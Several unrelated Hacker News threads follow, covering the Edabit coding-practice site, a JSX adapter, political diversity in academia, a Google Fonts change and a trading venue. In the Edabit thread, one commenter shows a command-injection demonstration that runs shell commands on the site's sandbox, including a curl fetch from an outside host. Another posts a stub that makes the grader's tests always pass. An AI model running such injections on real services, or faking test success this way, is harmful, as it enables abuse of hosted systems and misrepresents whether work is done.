Show HN: Edabit – Like Duolingo for Learning to Code - Method-X https://edabit.com/challenges <comment><AUTHOR> Good job. However, I was able to run the following on your machine (on the publicly available demo page):

def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl [http://redacted/](http://redacted/) > ./owned.txt")) print(os.system("curl -s [http://whatismyip.akamai.com/")](http://whatismyip.akamai.com/"\))) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 22.214.171.124"))

Results:

codewarrior 5a8eb7db8f0e 126.96.36.199 PING 126.96.36.199 (220.127.116.11) 56(84) bytes of data. 64 bytes from 22.214.171.124: icmp_seq=1 ttl=123 time=0.668 ms \--- 18.104.22.168 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.668/0.668/0.668/0.000 ms

126.96.36.199 is a DigitalOcean address. My server's log indicates the curl command actually pulled the file. Please secure your services or they _will_ be abused by wrong doers. In all honesty, I would advise to take the entire service down until this is fully mitigated.

<comment><USER2> I can't help but feel that posting this in a HN comment when they're showing off the site isn't exactly responsible disclosure.

<comment><USER3> I disagree. I see HN as a community of people involved in similar pursuits, and demonstrating issues like this publicly is educational for everyone.

<comment><USER4> Sure, but you can "demonstrate" the details after it's fixed.

<comment><USER5> Seems like a lot of damage could have been obviously omitted by just removing anything os.system(), which for the purpose (not effect here) of Duolingo style education should have been just fine.

I get your point and the other guy's too. I line up on the side that disclosures should be messy and embarrassing sometimes, as incentive to really think about what you are doing. The danger here is low.

</comment></comment></comment></comment></comment><comment><USER6> I just reverse image searched all three of their testimonial photos all all come from random .edu faculty pages with completely different names. They also show up on random Twitter profiles and bandcamp pages. Not sure why they're using fake testimonial photos but that seems rather scummy.

<comment><USER7> I'm confused as to how anyone would think this is alright to do.

<comment><USER8> Some people willingly submit photos to be used in this manner[0], which will lead to them being used all over the place.

Once you've seen this picture of Brad Frost[1] (a web tech personality), it's hilarious how many startup landing page mockups he appears in. I've personally seen dozens.

[0] [https://uifaces.co/](https://uifaces.co/)

[1] [https://avatars3.githubusercontent.com/u/383701?s=460&v=4](https://avatars3.githubusercontent.com/u/383701?s=460&v=4)

</comment></comment></comment><comment><USER9> Having taught people coding for awhile, I don't think the step-by-step teaching models work with coding. It creates an environment where students just think about the next step without internalizing what they learned. I've met students who have gone through freecodecamp's exercises and really struggle with using what they learned.

Edabit seems too heavily on algorithms. I've seen many beginner students get quickly burned out from doing algorithms when starting out.

I've found the most effective way to teach coding is to make their learning project based (very much like how professors taught concepts back in college). Build X, Y, Z, each project building up in complexity so students can think about different combinations of everything they learned to complete the project.

<comment><USER10> How do you teach? As an instructor at a school or tutoring on the side?

<comment><USER9> I work with my local library to hold coding office hours

(Should be very easy to set up, they really want to become more technically savvy but the only volunteers they could find is instructors trying to teach microsoft word)

I have my own curriculum that I've built over the years and the students ultimately end up building a product that they launch (hopefully). This year I got to teach 20 students and so far 14 have gotten full time jobs as software engineers. Fortunately, students who got jobs are all doing well at their jobs so its pretty easy to refer people in.

After the remaining 6 students get a full time job, I plan to open source my curriculum that students have helped polish over the years. You can find the gist of it at c0d3.com

<comment><USER11> This looks awesome! Any way I can get an invite code?

<comment><USER9> shoot me an email song at garagescript.org

</comment></comment></comment></comment></comment><comment><USER12> So far what I gathered from the comments:

* Not the most secure * A fork of code wars. * Has random photos for testimonials. * W3schools links. *How is it like Duolingo at all?

<comment><USER13> Seriously. Yet it's at the top of HN with 150 upvotes. OP posted this twice already and it got 5 and 6 upvotes. Either HN readers are becoming less discerning or this guy gamed upvotes. Judging by the fact that the testimonials feels dishonest, I wouldn't discount the latter.

</comment></comment><comment><USER14> I don't understand how this is different from Hackerrank/Leetcode or how it's similar to Duolingo. Can someone explain what the innovation is here over HackerRank or LeetCode?

<comment><USER15> The claim of similarity to Duolingo seems to be based on the "Practice" tab, which let's you re-solve problems you've already solved once. Duolingo and similar apps use spaced repetition[1] to reinforce lessons which is proven to help retain them permanently in long term memory. However Edabit doesn't seem to implement a very complete system so it probably won't be particularly effective. I also doubt space repetition is helpful for learning to program outside of memorizing APIs and standard libraries, which is 10% of programming at most.

[1]: [https://en.wikipedia.org/wiki/Spaced_repetition](https://en.wikipedia.org/wiki/Spaced_repetition)

As for sites like Leetcode, those are far more mature (wide selection of languages, custom test cases, etc.) with much more interesting challenges. I appears Edabit is targeting beginners and therefore has much shorter, easier challenges which mainly test memory, not knowledge of algorithms or problem solving. Again, not necessarily the aspect of programming that I would encourage beginners to spend their time on compared to understanding basic concepts.

<comment><USER14> This is exactly what I was looking for, thanks!

</comment></comment></comment><comment><USER16> I think w3schools related links should be removed from the Resources tab, due to the consistent low quality of that site

<comment><USER17> While I tend to avoid w3schools in general, according to [https://www.w3fools.com/](https://www.w3fools.com/) it's gotten better over time.

<comment><USER18> Boy do I ever have a treat for you then: [https://addons.mozilla.org/en- US/firefox/addon/personal-bloc...](https://addons.mozilla.org/en- US/firefox/addon/personal-blocklist/?src=search)

My search results for CSS problems are so much better now that MDN is the first result.

<comment><USER19> Another way to accomplish this is to add "MDN" to all CSS and JS searches. For example, "mdn array slice" lands right on the best documentation on array slicing (tested on Google and DuckDuckGo).

<comment><USER20> If you use duckduckgo you can search:

        !mdn array slice

which will take you straight to MDN

<comment><USER21> If you use Firefox, you can add a search keyword for MDN search, so that you can type "mdn array slice" in the address bar and go straight to MDN without needing DuckDuckGo to redirect you.

</comment></comment></comment></comment></comment></comment><comment><USER22> I like this for what it is - so far, fairly simple things to do in Python. I'm a beginning programmer (been studying about a year), so I'm happy to spend a bit of time going through these and feel OK about passing the tests - certainly the other 'code golf' sites that have been mentioned elsewhere in this site have been a love/hate thing for me, with some really out-of- character difficult exercises leading to frustration and a complete stop.

One constructive suggestion - is it possible to add auto-indenting to the editor for Python? I hadn't realised how used to it I have become until it is missing here...

</comment><comment><USER23> Why don't I have the instructions and my code on the same page?

Seriously, I need all my information visible to me. What's going on here?

<comment><USER24> My first thought too, I was trying to type in the "tip" box before I found the code tab

<comment><USER23> Exactly. It's just bad UI.

</comment></comment></comment><comment><USER25> I really like this, great work. I might try introducing a few people to this. specifically for python.

I went through the first python challenge and i think it might be at a slightly higher level than a true beginner would need.

<comment><USER23> The Ruby exercises are good, if very basic. Solid introduction.

<comment><USER26> The way I learned Ruby 5 years ago was by doing Koans[0] which is basically a test suite where the individual cases describe some behavior of ruby or its stdlib and have a small expression missing to be filled in by you.

      array = [1, 2]
      array.reverse!
      assert array == __

[0] [http://rubykoans.com/](http://rubykoans.com/)

</comment></comment></comment><comment><USER27> so people will pick it up for a couple of days, and then forget about it for weeks on end?

<comment><USER28> Don't generalize from yourself to other people. Duolingo has been very useful to me.

<comment><USER23> He's right about most people and duolingo. It's simply not hooking enough, and most people use it exactly as described.

</comment></comment></comment><comment><USER29> If you guys like this you might love my project Polar:

[https://getpolarized.io/](https://getpolarized.io/)

it was also on Show HN about a month ago.

[https://news.ycombinator.com/item?id=18219960](https://news.ycombinator.com/item?id=18219960)

The idea is basically to allow you to create your OWN flashcards and sync them with Anki with the books you're reading.

Basically you can create flashcards in the app directly and sync them to mobile so you never forget the key points of the documentation you're reading.

Right now I'm working on the cloud version so that people can discover each other and collaborate on building their own cards, share highlights, etc.

</comment><comment><USER30> The instructions don't load for me in Firefox so I had to open up in Chromium. I disabled my adblocker in FF but didn't do any in-depth troubleshooting.

</comment><comment><USER31> I love that it says "ProTip". How is that different than a "tip" by now?

</comment><comment><USER32> The hardest challenges are always about Math. People good at Math also seem to have a tendency to be good at programming though. There is however very little Math in my daily job as a programmer.

</comment><comment><USER33> The Swift version seems to be outdated. To get the length of a String, you need to do string.characters.count, instead of Swift 4's string.count. I think it's on Swift 2.

<comment><USER34> It's Swift 3.1.

</comment></comment><comment><USER35> This has evolved! Great work. I remember seeing this a year or so ago on HN and contributed some solutions. Back then there were only less than 20 quizzes?

</comment><comment><USER36> Website doesn't load anything with JavaScript off.

Just fyi.

</comment><comment><USER37> Has anyone tried exercism.io for learning languages? I found it pretty efficient as it helped me learn syntax very quickly.

</comment><comment><USER38> Hey man. Nice App. How did you created the Mascots ? Or Outsourced it? Any leads and cost related?

<comment> Method-X I hired a guy on UpWork: [https://www.upwork.com/ab/profiles/search/saved/~014198aac9a...](https://www.upwork.com/ab/profiles/search/saved/~014198aac9a56ced15/profile?sqp=true)

<comment><USER38> How much charge ? Can you refer the guy if possible?

<comment> Method-X I don't remember the exact cost but the link I provided is the UpWork profile of the guy I hired.

</comment></comment></comment></comment><comment><USER39> This is a great idea, would love to use this in the future!

</comment><comment><USER13> Nothing special here. Programming problems to teach beginners how to code. Same approach practically every other site takes. Surprised by the amount of upvotes.

</comment><comment><USER40> just insert this before every function:

      class Test:
          def assert_equals(*args):
              return True

<comment><USER41> Why not go a step further and pat yourself on the back for completing all the challenges without even navigating to the website?

</comment></comment><comment><USER42> Catch that "Silence Donald Trump!" exercise in their demo?

</comment><comment><USER16> submitting / result checking takes a long time

<comment> Method-X Lots of people using the site right now. Usually it's very fast.

<comment><USER43> It sounds like the validation should be running on the client side and not in the cloud.

<comment> Method-X All code is executed in a docker container and destroyed after runtime completes (or times out). It's _also_ being run on a remote server completely unrelated to the functioning of the web app itself. The "security issues" pointed out in this thread are non-issues.

</comment></comment></comment></comment><comment><USER44> codewars.com already does this I believe.

<comment><USER40> The README.md inside of the directory where your code runs says it is running codewars

</comment></comment><comment><USER45> so you'll get a bunch of random things to memorize with no explanation of the concepts supporting them?

<comment><USER46> I think the key thing is that these are exercises. People learn by seeing examples and solving problems with gradually increasing difficultly. This appears to be an arena for doing just that.

Concepts and theory are certainly critical, but one needs to practice in order to achieve mastery. The conceptual framework for all this stuff is covered in detail in other resources, anyway.

After taking a cursory look around, Edabit seems to be filling a very specific need. I like it.

<comment><USER45> I was just trying to understand the Duolingo analogy

<comment><USER47> Duolingo by itself isn't really enough to really learn a language either. Thanks to Duolingo, I can definitely say "the woman eats the apple" in Italian, but I don't understand the language's grammar and its verb conjugation rules enough to build complete sentences.

<comment><USER21> "The woman eats the apple." is a complete sentence, no? Do you mean you only memorized specific sentences, but did not end up with any generalizable knowledge? I've never tried Duolingo, but I kind of expected them to not show you exactly the same exercises again, so that you wouldn't pass them with just memorization.

<comment><USER45> Thats exactly what he was saying. But yes, Duolingo and Memrise take similar approaches at not teaching you anything.

<comment><USER21> I was hoping for an answer that explains how it is possible to pass a course on Duolingo (i.e. answer the exercises correctly) without actually learning enough of the language to apply it to new situations. If the problem is just that you can memorize the answer to each question and regurgitate it when you see the same question again, that'd be fixable by creating many more questions. But if the problem is something else, it might not be so simple.

<comment><USER45> Look, as you mentioned, you just don't know what you are talking about to extrapolate what you want explained. Use Duolingo for 5 minutes like the rest of us and get with the program.

<comment><USER21> I did that. I took the initial test for Japanese, where I answered correctly for sentences I already understood or where I was only missing a single word I could guess by elimination. Given multiple options I couldn't distinguish, I messed up as it should be.

Based on the test results, I was skipped past 23 of the 40 topics I can see in the course. Considering that I've been learning for only three months, that makes the course look a bit short.

When I then tried the next lesson, I did notice some questions repeating, but there was also some variety. So I don't know whether it's possible to just memorize all the sentences without learning grammar.

Based on me trying Duolingo a single time now, I'd now say that the biggest problem is the small amount of topics covered in a course, which limits the vocabulary you know how to use after completing it.

But that's not what the original complaint said, so maybe someone who's used Duolingo 5 minutes a day for several months is still in a better position to explain what the actual problem with Duolingo is.

<comment><USER45> They don't explain rules. They try to classically condition you without explaining why you would ever synthesize a word or phrase that way.

It becomes more apparent when you realize these apps are not smart. They were novel at one point, and maybe you can pick up a phrase to catch a native speaker off guard.

Duolingo is using humans to translate web content that algorithms are unsure about. This is the same founder of reCaptcha, who uses captcha's to use humans to tell robots about what the robots are unsure of.

Memrise, on the other hand, just takes the "87% most used phrases" and tries to get you to memorize the.

They have zero holistic approach to any of the languages they offer. You will never learn tense, language-specific concepts and rules, idioms that break all the rules, or whatever locals just say.</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment>


Show HN: Protozoa-tsx, a JSX-to-JSON adapter for protozoa - <AUTHOR> https://github.com/guscost/protozoa-tsx <comment><USER2> If Protozoa apps are "just the DOM", WHY DO YOU NEED PROTOZOA? Why don't you just write the HTML?

Now you don't even write DOM nodes in JSON (which is the feature Protozoa seems to be offering), you write them in JSX (which is a worse type of HTML) then you install A FORK OF TYPESCRIPT COMPILER to compile that JSX you just wrote into JSON so Protozoa can run it.

That's crazy crazy crazy crazy crazy.

<comment><AUTHOR> Crazy like a fox!

Seriously, I do think there's a targeted use case for this kind of convenience extension (protozoa itself is only 100 lines, it can be embedded pretty much anywhere), but I understand that it is totally counterintuitive and against most of the best practices that most real apps do need.

Maybe there should be a "Don't actually use this, use React" disclaimer, but I don't like that it seems that kind of thing has to be included at the top of any front-end Show HN.</comment></comment>


Diversity of the Mind - <AUTHOR> http://econlog.econlib.org/archives/2015/01/diversity_of_th.html

<comment><USER2> The blog post has a mistake, there were only 292 not 2923 respondents (he copied a superscript 3 from the PDF). The mailing list had 1939 members[1], so only 15% responded. All the data quoted in the paper discussed in the blog is survey data... so it seems that a large proportion of academics that respond to surveys about their political ideology are liberal. This could also be explained by a large number of non-liberal academics who don't care for answering surveys about political ideology. Not sure what counts for rigorous exposition in the social sciences, but I had to laugh when the authors actually said that these ideology surveys overestimate the proportion of liberals because conservatives don't want to self-identify, and that this supports their point!

[1] [http://yoelinbar.net/papers/political_diversity.pdf](http://yoelinbar.net/papers/political_diversity.pdf)

</comment><comment><USER3> Is this really presenting a fair picture? Really, if I had two candidates who were identical and the only differentiating factor I had was that one liked Candy Crush and the other one played Age of Empires, I don't think I'd take it to a coinflip. I like Age of Empires more than I like Candy Crush.

I suppose this is the same type of insidious discrimination that happens because, for instance, people feel like a woman wouldn't be a good "culture" fit in a predominantly male dev team. My preference is however to work with people that have similar interests to me, but it is a preference very low on my list of co-worker traits. How low would it have to be before I'd answer I'm not at least "somewhat" biased based on the Candy Crush/AoE schism? I'm not sure, but honestly if two identical twins walked into my office with identical everything and one wore an ugly sweater I'd hire the one without. Unless the ugly sweater was _really_ funny.

I'm not sure if the wording of the question here could be better, or I'm just discriminatory.

<comment> m-photonic You're being discriminatory in a sense, but then being discriminatory is normal. It's just what people do, and the large-scale consequences can be trivial or important depending on any number of things. Whether or not it's worth intervening through policy (or simply through culture or collective intent) varies case by case, but I think there's a case to be made here.

<comment><USER3> But why? What tangible impact has it had on conservatives?

<comment><USER4> The issue is that theories start with liberal values and assumptions and conservative ideas aren't fairly evaluated.

This creates blind spots in the field. There are examples in the draft paper.

Moreover it taints policy recommendations and causes Republicans to distrust calls for "evidence based policy".

Read the draft paper linked in the article. [[http://journals.cambridge.org/images/fileUpload/documents/Du...](http://journals.cambridge.org/images/fileUpload/documents/Duarte- Haidt_BBS-D-14-00108_preprint.pdf)]

<comment><USER5> I think considering the massive policy advantages - if not the total lockdown - given to conservative ideas in government, especially in economics and banking, that's not quite the problem it might seem to be.

The real problem with left-wing academia is that it has been persuaded to believe that ritualised criticisms of conservative public policy are a substitute for political influence. The academic left has almost exactly no political influence at this time.

As for evidence-based policy - when conservatives stop promoting frankly kooky positions like climate change denial or an insistence that raising the minimum wage kills jobs it's going to be easier to accept that conservatives have an interest in evidence-based rational policy.

<comment><USER4> You can't get a senior job at the DOE without a PhD in Education, and you can't get an PhD Education without publishing a thesis the academic left supports...

At least in education the academic left has had a complete stranglehold on policy for 50+ years.

Saying that conservatives have a total lockdown on policy is just silly.

The deeper problem that Haidt is found is that people on the left can't actually answer a survey as a conservative would. Libertarians and conservatives can answer surveys as a liberal would when asked to, but liberals are too insular and only have a caricature of conservatives in their mind.

Your statement about economics and banking illustrates that. Wall St has power and influence in DC because it has a lot of money, not because it has ideological support from conservatives.

</comment></comment></comment></comment></comment></comment><comment><USER6> This would be more interesting if they had teased apart more informative axes of belief instead of categorizing people along the uninformative liberal vs. conservative spectrum of US politics. Do social psychologists believe that the class structure of society is meritocratic or unjust? Do they believe that racial discrimination plays a significant factor in social success? Do they believe that it's the appropriate role of government to remedy potential injustices? Do they want their country to be ruled according to religious traditions?

I don't come away with a clear sense of what "conservative" means to the respondents, and it's possible to imagine some definitions which are very healthily at odds with the skeptical/questioning mindset of academics.

<comment><USER7> No, it really wouldn't be more interesting. Does it _matter_ precisely what "liberalism" is when 98% of the current grad students identify themselves as such? Do you really think you're going to be able to slice and dice words until this isn't a problem anymore, in the face of such a percentage? We're not talking 55%/45%, where the question of exactly what the borders are might be an interesting question. We're not even talking the overwhelming dominance of 80/20%. We're talking effective monoculture. It defies belief that this is just the error bars talking. And especially so for _social scientists_... are they _really_ the people you want to accuse of being unclear on the meanings of the words "liberal" and "conservative" in some context? Betcha they could go on about the distinction for a great deal longer and with a great deal more precision than either of us!

<comment><USER8> > Does it matter precisely what "liberalism" is when 98% of the current grad > students identify themselves as such?

Nothing in the source indicates that. There is a claim -- which cites a personal communication with no identified methodological basis -- that 2% identify as conservative (given a set of options that, from the parallel listing of the numbers from a broader population, appears to be liberal/moderate/conservative, and so which does not, even if accepted as ironclad, support a 98% liberal conclusion -- and further, the subsample size of "graduates and postdocs", and therefore the error margins of that group, are not identified.) But, in any case, yes, it matters what it means (and, particularly, whether it means the same thing to all the people with that self-identification) if you are interested in whether there is diversity of _ideology_ rather than diversity of _ideological identity labels_. It is a fairly massive error to assume that those mean the same thing.

> Do you really think you're going to be able to slice and dice words until > this isn't a problem anymore, in the face of such a percentage?

If it doesn't mean even roughly the same thing to the various people, what a large advantage in self-identification may tell you is that "liberal" is a popular _label_ , without telling you that the label has any shared meaning which is itself overwhelmingly popular.

> It defies belief that this is just the error bars talking.

That would only be true if we had the size of the relevant subsamples and thus could have any idea of the size of the error bars, all we have is the full sample of 292, but that includes more than just the subgroup with 2% conservative identification for which you have invalidly assumed a 98% liberal identification.

> And especially so for social scientists... are they really the people you > want to accuse of being unclear on the meanings of the words "liberal" and > "conservative" in some context?

As someone with a degree in political science, I am quite aware that those terms have _lots_ of different meanings even in the context of political ideology, which is why -- when actual substantive ideology rather than ideological identity is studied (and the "liberal" and "conservative" labels are used in the study), the actual operationalizations used of "liberal" and "conservative" are radically different between different studies.

</comment></comment></comment><comment><USER9> Jonathan Haidt, one of the authors of the paper, has a page on "Post-partisan social psychology" with a 2011 presentation of his on the subject and various responses/debates.

[http://people.stern.nyu.edu/jhaidt/postpartisan.html](http://people.stern.nyu.edu/jhaidt/postpartisan.html)

</comment><comment><USER10> For purposes of understanding this article, does anyone know anything about the author, Bryan Caplan?

The website is the Library of Economics and Liberty and is funded by The Liberty Fund,[1]. In my brief review they appear to advocate for modern libertarian ideology. Does anyone know more about them?

At least, this seems to be political advocacy and not scholarly analysis. (I'm not criticizing it; just trying to understand what I'm reading.)

[1] [http://www.libertyfund.org/](http://www.libertyfund.org/)

<comment><USER11> The Liberty Fund doesn't engage in political advocacy. They primarily (re)publish literature important to classical liberalism and the moral case for liberty (and history and law, etc). They also put on occasional conferences, and they maintain online libraries.

<comment><USER5> How is that not political advocacy?

If a Socialist site 'republished literature important to classical Socialism and the moral case for social equality' would you not consider it a political entity?

</comment></comment></comment><comment><USER12> I wonder what other disciplines are this badly skewed. Theology maybe?

</comment><comment><USER13> Liberal/moderate/conservative is an outdated distinction that is no longer useful to anyone but demagogues.

When 98% of your subjects fall into one side of your division, it doesn't mean that there's not enough diversity. It means that your division is meaningless.

People who would pick "liberal" when presented with the three choices above are by no means a homogeneous group, especially since the questionnaire didn't offer an "other" choice. Anarchists, communists, socialists, social democrats, feminists, postmodernists, and even some libertarians might pick "liberal" since the alternatives are even further from their true beliefs.

Curiously, conservatives seem to be the ones who are always worried about "ideological imbalance", whereas most of the rest don't really care. It boils down to this weird idea that conservatism should account for roughly (and preferably more than) 50% of our mindshare, with all the other ideologies (conveniently lumped together under the label "liberalism") accounting for the other 50%. But that's just wrong, because there are more than two ideologies in this world. It's like dividing the world into "those who do X" and "those who don't", for any given X, and demanding that both groups be roughly equal.

The wiki page for "political ideologies" lists a dozen major ideologies with hundreds of subdivisions. Should they all get equal mindshare?

<comment><USER14> Since the cultural turn of the 1970s, liberals have focused on cultural change as a way of achieving justice. They assumed that people conform to dominant social norms which they learn about through the media and through others in society. So the operating hypothesis is that, if you create the impression that (for example) racial equality is the dominant social norm through consistent and uniform expression of those views and the suppression of racist norms, then racism will disappear as people start to conform to those new values. (This is in contrast to the prior Marxist-influenced social science which assumed that culture mainly reflects economic realities, and you can't make racism just disappear while keeping the same economic conditions.)

Jonathan Haidt is a social psychologist and one of the co-authors of the paper. His work theorizes five foundations of morality—basically, ways of assessing the moral value of an act: harm, fairness, respect for authority, loyalty to one's group and purity/sanctity. The impact of the cultural turn shows up in his research. He found that conservatives tend to use all five foundations, while liberals only use the first two. Obviously for liberals, the remaining three are associated with patriarchal authority, nationalism and religious oppression.

So, he's not just demanding equal representation of political ideologies. It seems that Haidt believes that the dominance of liberalism among social psychologists is harmful to the field because it is associated with a strategy of cultural change which obliges liberals to avoid lines of research into these other foundations of morality.

<comment><USER13> The group that you call "liberals" is spread out across the political spectrum, from the center to the far left. Some are authoritarian, others are libertarian and even anarchist. They do not present any unified front; in fact, there's so much disagreement among "liberals" that they would never consider themselves to be a single group unless forced to choose among a very small set of labels.

I agree with the authors that homogeneity can be bad for a field, but I don't think this can be fixed by increasing the mindshare of conservatism. There are plenty of people who would pick "liberal" on a "liberal or conservative?" questionnair and still devote their lives to researching, for example, people's relationship with authority. Not personally believing it to be a matter of morality might even help the researcher become more objective.

<comment><USER14> But liberals' political views aren't relevant here. What matters for Haidt is that irrespective of their true politics, people who identify as liberal tend to be hostile to 3 of the moral foundations.

I'm not saying his approach is right, just that his ultimate goal is not political diversity as such. I agree that there are other approaches to correcting bias, and the fact that he doesn't even consider those makes me think something else is going on. Liberals tend to believe that morality is a product of reason. Haidt thinks it comes from innate dispositions or intuitions, which I think is closer to a conservative viewpoint.

<comment><USER13> > _But liberals ' political views aren't relevant here._

How does one justify a sweeping generalization about some group of people while totally ignoring diversity within that group? "I don't care what they truly believe, but methinks they believe that three of my six (not five) moral foundations are unimportant." doesn't sound particularly convincing.

> _I 'm not saying his approach is right, just that his ultimate goal is not > political diversity as such._

That's exactly what I was trying to point out in the GGGP comment. This is little more than a conservative political agenda wrapped in the language of diversity. Yes, some people emphasize some of the "foundations" more than others. But unless Haidt can convince us that we _ought to_ take all of them seriously, his views are utterly uninteresting in the context of ethics.

When religious people demand that creationism be taught at school "for balance", most HNers can easily see through their thinly veiled political agenda. But when a conservative and/or libertarian guy makes an argument that has an identical logical structure, anyone who dares to disagree gets downvoted into oblivion. Funny, but I guess that's exactly how political biases work IRL.

</comment></comment></comment></comment></comment><comment><USER15> Real talk: if someone describes themselves as conservative (in US political parlance) they are probably (not certainly, but _probably_ ) more selfish and more likely to have either factually incorrect or morally indefensible views on e.g climate change and social issues. I'd probably avoid hiring them too.

Professions which require intellect but which aren't well-remunerated are typically stacked with "liberals", yes – because smart, non-greedy people tend to be liberals. (Yes, this is an assumption for which I only have a lifetime of anecdotal evidence. No, the fact that there exist smart, non-greedy conservatives and dumb greedy liberals is not a counterargument).

(FWIW, I wasn't going to post this, as I didn't want to stir up a hornet's nest. But then I read [http://www.bloomberg.com/news/2015-01-05/stiglitz- blocked-fr...](http://www.bloomberg.com/news/2015-01-05/stiglitz-blocked-from- sec-panel-after-faulting-high-speed-trades.html) and got angry again.)</comment>


If you use Montserrat from Google Fonts your site is probably broken now - <AUTHOR> https://github.com/JulietaUla/Montserrat/issues/60 <comment><USER3> Seriously, Google. Stop taking Facebook's advice. At your scale, "move fast and break things" raises entire industries to the ground in one fell swoop when something is unfortunate enough to get caught in the crossfire.

Okay, we get it, you're so insecure and your corporate management is so fickle and uncertain _everything_ is in a constant state of flux. But we, the general public, aren't supposed to be aware of how much of everything is on fire. It's unprofessional when you leak that much information. You're not hiding your tells very effectively...

Be more like swans. Feet flipping like mad _under_ the water, calm and serene on the surface. Be consistent. Be predictable. Be something everyone can count on. Nobody knows what you'll pull the plug on next week. What you replace it with doesn't matter. "Look at us we augmented our muscles so we can run faster than cheetahs!!1" is just passive-aggressive and rude. _Technically_ it's an undeniably viable way to compete, _practically_ your laundry list of unimpressed casualties isn't getting any shorter. You need to look at the bigger picture and stop just hyperfocusing on the clinical, sterile mathematical stance.

I remember opening a javascript file somewhere between 2006-2009 and seeing the string "don't be evil'" (including the single quotes, just like that - <USER2> weird formatting is why I remember it verbatim). That disappeared a few years ago. Can we have that back? You're currently into a race into the ground, and you'll be dead within the next 20 years if you don't stop.

<comment><USER4> > Be consistent. Be predictable.

That's what we do. I use only gmail, drive, analytics, Adwords, google play and youtube. I'm treating everything else as unstable or beta. Even their cloud offerings.

</comment></comment><comment><USER5> Hmm, seems like Google may be the ones who screwed up here, by not having a versioning system on Google Fonts. If they did (and guaranteed that fonts wouldn't change after being selected), this wouldn't have happened.

Then again, part of me wonders whether fonts should be updated in general. Version control and regular updates work fine for programs and what not, but fonts are really like images in that people only care what they look like at the time they use them. Changing a font's weight or design like this seems like the equivalent of a stock photo program swapping out images because they think the lighting wasn't done right or the choice of model was wrong. Yes it may be 'objectively' better, but it'd just break a lot of existing use cases for little gain.

Still, that's just my thoughts on the situation.

</comment><comment><USER6> What makes this guy think it's acceptable to talk to people like this?

<comment><USER7> From a rational and removed standpoint, it is clearly not acceptable. There are some confounding factors here, however. For one, Google specifically advises to use their hosted version of the font instead of self-hosting. Another issue is that these people are clearly frustrated by the nonchalant attitude of the maintainers when it comes to breaking others work.

If you are telling people to use your hosted version of your open-source contribution yet have no care for responsible stewardship, you are being irresponsible at the expense of others.

If you don't want emotional responses after purposefully breaking the hard work of many, you are being unreasonable. While we should strive to be respectful and courteous under such tension, I can understand that not everyone is successful every time.

In other words, I think empathy should go both ways here. Usually, I find that others act very unreasonably and rudely towards maintainers of open source contributions. In this case, I think both parties have made mistakes that deserve forgiving (but not ignoring), including the rude emotional reactions. Both parties should apologize to one another.

<comment><USER8> It appears this issue was brought up previously on Feb 21. So you've got a group of people who already raised the issue seeing it happening again.

They may have been more reserved on the first go around but I can empathize with them seeing red now.

</comment></comment></comment><comment><USER9> I find this a bit confusing. Montserrat is distributed under an open license [1] which allows commercial redistribution "as long as they [fonts] are not sold by themselves". If people want to use a specific version - and clearly, they feel very strongly about it - why not host it themselves?

        [1] https://github.com/JulietaUla/Montserrat/blob/master/OFL.txt

<comment><USER10> Because Google goes out of their way to advise you not to self-host fonts and to use theirs?

Versioning isn't really a huge ask, in my opinion. My experience with Google APIs in general has always been that expectations don't match results. Documentation never matches the specification. This goes double for their own API clients, especially if the language is not Python or Go.

It's sort of maddening how much the company wants you to rely on them for everything and simultaneously not give any concern to how usable their products are.

</comment></comment><comment><USER11> I haven't yet seen the big picture discussed here in the comments:

Sometimes things change because people need to justify their jobs!

A lot of people would be out of jobs if their status reports said, week after week: "everything is fine, it all works, no complaints, no improvements needed, we've leaving everything as it is".

It's just that simple. It's probably the reason why most software related things change.

Unfortunately sometimes things change for the worse. E.g. in the Apple world, AirPort Utility was rewritten and lost functionality. Disk Utility was rewritten and lost functionality. But _someone_ at Apple got to put down on their status that they "simplified" or "improved" or "updated" or (whatever) those programs.

</comment><comment><USER12> Why do people expect web font metrics to be pixel perfect? The user may (gasp!) even block web font downloads.

<comment><USER13> A lot of thought goes into designs. People labour over these things for months. It's a stab in the heart to see it all get thrown out the window. Why spend that time at all if it's just going to get thrown out? You feel meaningless when this happens.

99% of users don't block web font downloads. Do a quick search for how to block font downloads on your computer. It's a technical task.

<comment><USER12> It's not really fair to blame Google (or someone else) because you built a giant house of cards and a gust of wind blew it away, even if it is a bit sad and people put a lot of work in it. According to this article, even the very easy workaround of hosting the font yourself is too much to ask.

Still it's a matter of time before the rendering engines change to another correct interpretation of the specification and everything falls apart again.

This all reminds me of that ridiculous thing of the late zeroes that was 'Sifr'. No, you don't get to run 20 Flash applets on your text page just so you can show fancy headings.

</comment></comment></comment><comment><USER14> I understand that you can be frustrated in a situation like this, but do they act like this in person as well if someone makes a mistake or if they have a disagreement?

I don't even see why they bring up the poor version handling of Google Fonts in this issue. They should send the feedback to Google or stop using Google's services.

</comment><comment><USER15> I think this is the most strongly word GitHub thread I've seen so far?

</comment><comment><USER16> Spare a minute to do the opposite of this: [https://news.ycombinator.com/item?id=15623604](https://news.ycombinator.com/item?id=15623604)</comment>


OneChronos, a proposed trading venue, wants to use AI to match orders - <AUTHOR> https://www.bloomberg.com/news/articles/2018-04-11/ex-goldman-trader-teams-up-with-millennials-to-make-ai-dark-pool <comment><USER2> Hi, Kelly and Steve here, founders of OneChronos. Happy to answer any questions.

In short, we're applying combinatorial auctions to financial markets. Combinatorial auctions are _generally speaking_ computationally intractable. Our art pertains to structuring the problem in a way that's a good fit for finance, while remaining tractable. The classical approach to solving combinatorial auctions for indivisible goods on the "hard" cases (ones without a totally unimodular constraint matrix) generally involves encoding the problem as an integer program, at which point you're faced with solving an NP- complete combinatorial optimization problem. Needless to say, that doesn't lend itself well to financial market speeds or scales. As such, we've taken a different approach based around guided search, similar to AlphaGo.

